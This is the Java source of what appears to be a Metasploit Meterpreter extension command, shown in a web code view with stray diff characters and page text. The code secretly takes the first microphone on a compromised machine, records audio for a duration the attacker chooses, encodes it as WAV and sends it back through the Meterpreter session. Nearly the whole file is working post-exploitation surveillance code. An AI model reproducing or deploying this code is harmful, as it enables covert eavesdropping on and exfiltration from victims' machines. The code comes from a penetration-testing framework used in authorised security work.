import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
import javax.sound.sampled.AudioFileFormat;
|
||||
import javax.sound.sampled.AudioFormat;
|
||||
import javax.sound.sampled.AudioInputStream;
|
||||
import javax.sound.sampled.AudioSystem;
|
||||
import javax.sound.sampled.Line;
|
||||
import javax.sound.sampled.Mixer;
|
||||
import javax.sound.sampled.Mixer.Info;
|
||||
import javax.sound.sampled.TargetDataLine;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.sun.media.sound.WaveFileWriter;
|
||||
|
||||
public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command {
|
||||
|
||||
private static final int TLV_EXTENSIONS = 20000;
|
||||
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
||||
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
||||
TargetDataLine line = null;
|
||||
Info[] mixerInfo = AudioSystem.getMixerInfo();
|
||||
for (int i = 0; i < mixerInfo.length; i++) {
|
||||
Mixer mixer = AudioSystem.getMixer(mixerInfo[i]);
|
||||
Line.Info[] targetLineInfo = mixer.getTargetLineInfo();
|
||||
if (targetLineInfo.length > 0) {
|
||||
line = (TargetDataLine) mixer.getLine(targetLineInfo[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (line == null)
|
||||
throw new UnsupportedOperationException("No recording device found");
|
||||
AudioFormat af = new AudioFormat(11000, 8, 1, true, false);
|
||||
line.open(af);
|
||||
line.start();
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
byte[] buf = new byte[(int)af.getSampleRate() * af.getFrameSize()];
|
||||
long end = System.currentTimeMillis() + 1000 * duration;
|
||||
int len;
|
||||
while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) {
|
||||
baos.write(buf, 0, len);
|
||||
}
|
||||
line.stop();
|
||||
line.close();
|
||||
baos.close();
|
||||
AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length);
|
||||
ByteArrayOutputStream wavos = new ByteArrayOutputStream();
|
||||
new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos);
|
||||
response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user